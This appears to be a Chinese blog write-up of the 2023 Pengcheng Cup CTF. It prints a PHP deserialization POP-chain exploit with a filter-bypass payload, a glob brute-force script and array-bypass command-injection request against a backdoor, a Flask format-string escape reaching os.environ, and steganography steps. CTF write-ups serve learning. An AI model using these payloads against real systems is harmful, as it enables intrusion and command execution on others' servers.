2023鹏城杯

2023鹏城杯

WEB

web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
show_source(__FILE__);
error_reporting(0);
class Hacker{
private $exp;
private $cmd;

public function __toString()
{
call_user_func('system', "cat /flag");
}
}

class A
{
public $hacker;
public function __toString()
{
echo $this->hacker->name;
return "";
}
}
class C
{
public $finish;
public function __get($value)
{
$this->finish->hacker();
echo 'nonono';
}
}
class E
{
public $hacker;

public function __invoke($parms1)
{
echo $parms1;
$this->hacker->welcome();
}
}

class H
{
public $username="admin";
public function __destruct()
{
$this->welcome();

}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}

class K
{
public $func;
public function __call($method,$args)
{
call_user_func($this->func,'welcome');
}
}

class R
{
private $method;
private $args;

public function welcome()
{
if ($this->key === true && $this->finish1->name) {
if ($this->finish->finish) {
call_user_func_array($this->method,$this->args);
}
}
}
}

function nonono($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
return preg_replace($filter,'',$a);
}

$a = $_POST["pop"];
if (isset($a)){
unserialize(nonono($a));
}
?>

非预期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Hacker{
private $exp;
private $cmd;

public function __toString()
{
call_user_func('system', "cat /flag");
}
}
class H
{
public $username="admin";
public function __destruct()
{
$this->welcome();

}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
// pop
// H::welcome $username
// Hacker::__toString
$aaa = new H();
$aaa->username = new Hacker();
echo urlencode(serialize($aaa));

预期

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
class A
{
public $hacker;
}
class C
{
public $finish;
}
class E
{
public $hacker;
}

class H
{
public $username="admin";
}

class K
{
public $func;
}

class R
{
private $method;
private $args;
public function __construct(){
$this->key = true;
@$this->finish1->name = true;
@$this->finish->finish = true;
$this->method = 'system';
$this->args = array("whoami");
}
}
// pop
// H::__destruct $username
// A::__toString $hacker
// C::__get $finish
// K::__call $func
// E::__invoke $hacker
// R::welcome

$aaa = new H();
$aaa->username = new A();
$aaa->username->hacker = new C();
$aaa->username->hacker->finish = new K();
$aaa->username->hacker->finish->func = new E();
$aaa->username->hacker->finish->func->hacker = new R();

$aaa = serialize($aaa);
$aaa = preg_replace("/system/", "syssystemtem", $aaa);//用的preg_replace($filter,'',$a);多加一个就行

echo urlencode($aaa);
//O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22hacker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A1%3A%22K%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A1%3A%22E%22%3A1%3A%7Bs%3A6%3A%22hacker%22%3BO%3A1%3A%22R%22%3A5%3A%7Bs%3A9%3A%22%00R%00method%22%3Bs%3A6%3A%22syssystemtem%22%3Bs%3A7%3A%22%00R%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A3%3A%22key%22%3Bb%3A1%3Bs%3A7%3A%22finish1%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bb%3A1%3B%7Ds%3A6%3A%22finish%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7D%7D%7D%7D%7D%7D
img

web2

前端有个scandir功能,输入目录,如果有此目录返回yesyesyes!!!,没有此目录返回nonono~~~

如下

img

前端看到有个后门文件,但是如果单纯爆破文件名要16的16次方,显然不可能

img

利用glob协议,匹配地找php,这样最多只要匹配16*16次即可得到文件名

img

借用lxxxin师傅的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://172.10.0.5/"

s = "0123456789abcdef"
filename = "glob:///var/www/html/backdoor_"

for i in range(50):
for j in s:
temp = filename + j + "*.php"
data = {
"filename": temp
}
r = requests.post(url, data=data)
if "yes" in r.text:
filename += j
print(filename + ".php")
break
# glob:///var/www/html/backdoor_00fbc51dcdf9eef767597fd26119a894.php

backdoor_00fbc51dcdf9eef767597fd26119a894.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);

if(isset($_GET['username'])){
$sandbox = '/var/www/html/sandbox/'.md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username']).'/';
mkdir($sandbox);
chdir($sandbox);

if(isset($_GET['title'])&&isset($_GET['data'])){
$data = $_GET['data'];
$title= $_GET['title'];
if (strlen($data)>5||strlen($title)>3){
die("no!no!no!");
}
file_put_contents($sandbox.$title,$data);

if (strlen(file_get_contents($title)) <= 10) {
system('php '.$sandbox.$title);
}
else{
system('rm '.$sandbox.$title);
die("no!no!no!");
}

}
else if (isset($_GET['reset'])) {
system('/bin/rm -rf ' . $sandbox);
}
}
?>

数组绕过

img
1
/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=datou&title[]=1&data[]=<?php system("cat /f*");?>

file_put_contents($sandbox.$title,$data);将data写入$sandbox.$title system('php '.$sandbox.$title);执行$sandbox.$title

(复现的话发现好像写不进去文件)

Escape

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from sqlite3 import *

from random import choice
from hashlib import sha512

from flask import Flask, request, Response
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["50000 per hour"],
storage_uri="memory://",
)

salt = b'****************'

class PassHash(str):
def __str__(self):
return sha512(salt + self.encode()).hexdigest()

def __repr__(self):
return sha512(salt + self.encode()).hexdigest()

con = connect("users.db")
cur = con.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("CREATE TABLE users(username, passhash)")
passhash = PassHash(''.join(choice("0123456789") for _ in range(16)))
cur.execute(
"INSERT INTO users VALUES (?, ?)",
("admin", str(passhash))
)
con.commit()

@app.route('/source')
@limiter.limit("1/second")
def source():
return Response(open(__file__).read(), mimetype="text/plain")

@app.route('/')
@limiter.limit("3/second")
def index():
if 'username' not in request.args or 'password' not in request.args:
return open("index.html").read()
else:
username = request.args["username"]
new_pwd = PassHash(request.args["password"])
con = connect("users.db")
cur = con.cursor()
res = cur.execute(
"SELECT * from users WHERE username = ? AND passhash = ?",
(username, str(new_pwd))
)
if res.fetchone():
return open("secret.html").read()
return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!"
.format(user=username)
.format(passhash=new_pwd)
)

if __name__ == "__main__":
app.run('0.0.0.0', 10000)

原题

img

不熟悉ssti,但就看这个payload,结合ai和自己的见解简单分析一下(不一定对)

因为passhash=PassHash(''.join(choice("0123456789") for _ in range(16))),所以可以调用__str__方法

img

然后获取全局{passhash.__str__.__globals__},里面有app对象

img

然后app内有个内置的wsgi_app

img
img

可以看到有os、sys模块

img

这样就可以调用这些模块了,原题有提示在env中,os.environ即可

img

MISC

我的壁纸

套娃题,拿了个一血

拿到bg.jpg

看到文件中有很多504B0304,分离出zip

拿到flag.txt、flag.wav、youshouldknowme.jpeg

img

flag.txt是snow隐写,密码为rar中的注释,得到flag3

img

flag.wav是sstv

用rx-sstv可以看到一张二维码,扫出来得到flag2

youshouldknowme.jpeg是steghide,密码在文件尾

img

拿到flag1

3段flag拼起来得到最后的flag


2023鹏城杯
http://example.com/2023/11/06/2023鹏城杯/
作者
dddkia
发布于
2023年11月6日
许可协议